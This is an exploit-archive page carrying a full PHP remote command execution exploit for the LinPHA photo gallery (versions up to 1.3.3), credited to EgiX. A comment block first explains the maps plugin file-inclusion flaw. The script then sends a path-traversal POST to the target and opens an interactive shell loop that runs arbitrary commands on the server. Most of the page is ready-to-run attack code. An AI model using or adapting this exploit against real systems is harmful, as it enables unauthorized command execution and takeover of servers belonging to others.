Lucene search
K

LinPHA <= 1.3.3 (maps plugin) Remote Command Execution Exploit

🗓️ 07 Apr 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

LinPHA <= 1.3.3 (maps plugin) Remote Command Execution Exploit. LFI vulnerability found in maps plugin allows remote attackers to execute arbitrary commands by manipulating the 'maps_type' config value and including a file such as ChangeLog

Code

                                                &lt;?php

/*
	--------------------------------------------------------------
	LinPHA &lt;= 1.3.3 (maps plugin) Remote Command Execution Exploit
	--------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://linpha.sourceforge.net
	details..: works with magic_quotes_gpc = off

	[-] LFI found by rgod in /plugins/maps/map.main.class.php

	20.	if(!defined('TOP_DIR')) { define('TOP_DIR','../'); }
	21.	
	22.	$type = read_config('maps_type');
	23.	
	24.	require_once(TOP_DIR.&quot;/plugins/maps/$type/$type.class.php&quot;); &lt;== LFI
	25.	require_once(TOP_DIR.'/plugins/maps/geocode.class.php');
	26.	include_once(TOP_DIR.'/plugins/maps/location.class.php');

	an attacker could be include an arbitrary local file through the require_once() at
	line 24 cause is possible to modify 'maps_type' config value by another script:

	[-] look at /plugins/maps/db_handler.php

	112.	if(@	$_POST['job'] == &quot;settings&quot;) 
	113.	{
	114.	update_config($_POST['maps_yahoo_id'], 'maps_yahoo_id' );
	115.	update_config($_POST['maps_google_key'], 'maps_google_key');
	116.	update_config($_POST['maps_type'], 'maps_type');			&lt;== 'maps_type' value updating
	117.	update_config($_POST['maps_display_type'], 'maps_display_type');
	118.	update_config($_POST['maps_google_ctrl_size'], 'maps_google_ctrl_size');
	119.	update_config($_POST['maps_default_zoom'], 'maps_default_zoom');
	120.	update_config($_POST['maps_default_zoom_location'], 'maps_default_zoom_location');
	121.	update_config($_POST['maps_yahoo_type_control'], 'maps_yahoo_type_control');
	122.	update_config($_POST['maps_yahoo_pan_control'], 'maps_yahoo_pan_control');
	123.	update_config($_POST['maps_yahoo_slide_control'], 'maps_yahoo_slide_control'); 
	124.	update_config($_POST['maps_marker_auto_popup'], 'maps_marker_auto_popup'); 
	125.	
	126.	header(&quot;Location: &quot;.TOP_DIR.&quot;/admin.php?page=maps&amp;plugins=1&quot;);
	127.	}

	and now we need a file to include...what do you think about ChangeLog?

	[-] ChangeLog file:

	393.	###############################################
	394.	###                                         ###
	395.	###          LinPHA 1.1.0 RELEASE!          ###
	396.	###                                         ###
	397.	###############################################
	398.	
	399.	2006-02-19  bzrudi71 &lt;linpha_AT_tuxpower_DOT_de&gt;
	400.	 * tagged LinPHA linpha_1_1_0 :-)
	401.	
	402.	2006-02-18  flo
	403.	 * fixed linpha vulnerability found on secunia.com
	404.	   + docs/index.php and install/*
	405.	     include($lang) fixed
	406.	   + plugins/log/logger.class.php
	407.	     use htmlspecialchars() before write logger events to database or to text file
	408.	     for example:
	409.	     User &lt;?php echo system($_GET['cwd']); ?&gt;: login failed! &lt;== oops! ;)
	410.	     will be replaced by:
	411.	     User &amp;lt;?php echo system($_GET[&amp;#039;cwd&amp;#039;]); ?&amp;gt;: login failed!

*/

error_reporting(0);
set_time_limit(0);
ini_set(&quot;default_socket_timeout&quot;, 5);

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print &quot;\n[-] No response from &quot;.$host.&quot;:80 Trying again...&quot;;
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	return $resp;
}

print &quot;\n+------------------------------------------------------------------------+&quot;;
print &quot;\n| LinPHA &lt;= 1.3.3 (maps plugin) Remote Command Execution Exploit by EgiX |&quot;;
print &quot;\n| - bug (LFI) found by rgod                                              |&quot;;
print &quot;\n+------------------------------------------------------------------------+\n&quot;;

if ($argc &lt; 3)
{
	print &quot;\nUsage...:	php $argv[0] host path\n&quot;;
	print &quot;\nhost....:	target server (ip/hostname)&quot;;
	print &quot;\npath....:	path to Linpha directory\n&quot;;
	die();
}

$host	= $argv[1];
$path	= $argv[2];
	
$payload = &quot;job=settings&amp;maps_type=%2E%2E/%2E%2E/ChangeLog%00&quot;;
$packet  = &quot;POST {$path}plugins/maps/db_handler.php HTTP/1.0\r\n&quot;;
$packet .= &quot;Host: {$host}\r\n&quot;;
$packet .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
$packet .= &quot;Content-Length: &quot;.strlen($payload).&quot;\r\n&quot;;
$packet .= &quot;Connection: close\r\n\r\n&quot;;
$packet .= $payload;
http_send($host, $packet);
	
define(STDIN, fopen(&quot;php://stdin&quot;, &quot;r&quot;));

while(1)
{
	print &quot;\nlinpha-shell# &quot;;
	$cmd = trim(fgets(STDIN));
	if ($cmd != &quot;exit&quot;)
	{
		$packet = &quot;GET {$path}maps_view.php?cwd=&quot;.urlencode($cmd).&quot; HTTP/1.0\r\n&quot;;
		$packet.= &quot;Host: {$host}\r\n&quot;;
		$packet.= &quot;Connection: close\r\n\r\n&quot;;
		$resp	= http_send($host, $packet);
		if (!ereg(&quot;ChangeLog&quot;, $resp)) die(&quot;\n[-] Exploit failed...probably magic_quotes_gpc = on\n&quot;);
		preg_match(&quot;/User (.*): login failed!\n /s&quot;, $resp, $shell);
		print &quot;\n{$shell[1]}\n&quot;;
	}
	else break;
}

?&gt;

# milw0rm.com [2008-04-07]
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation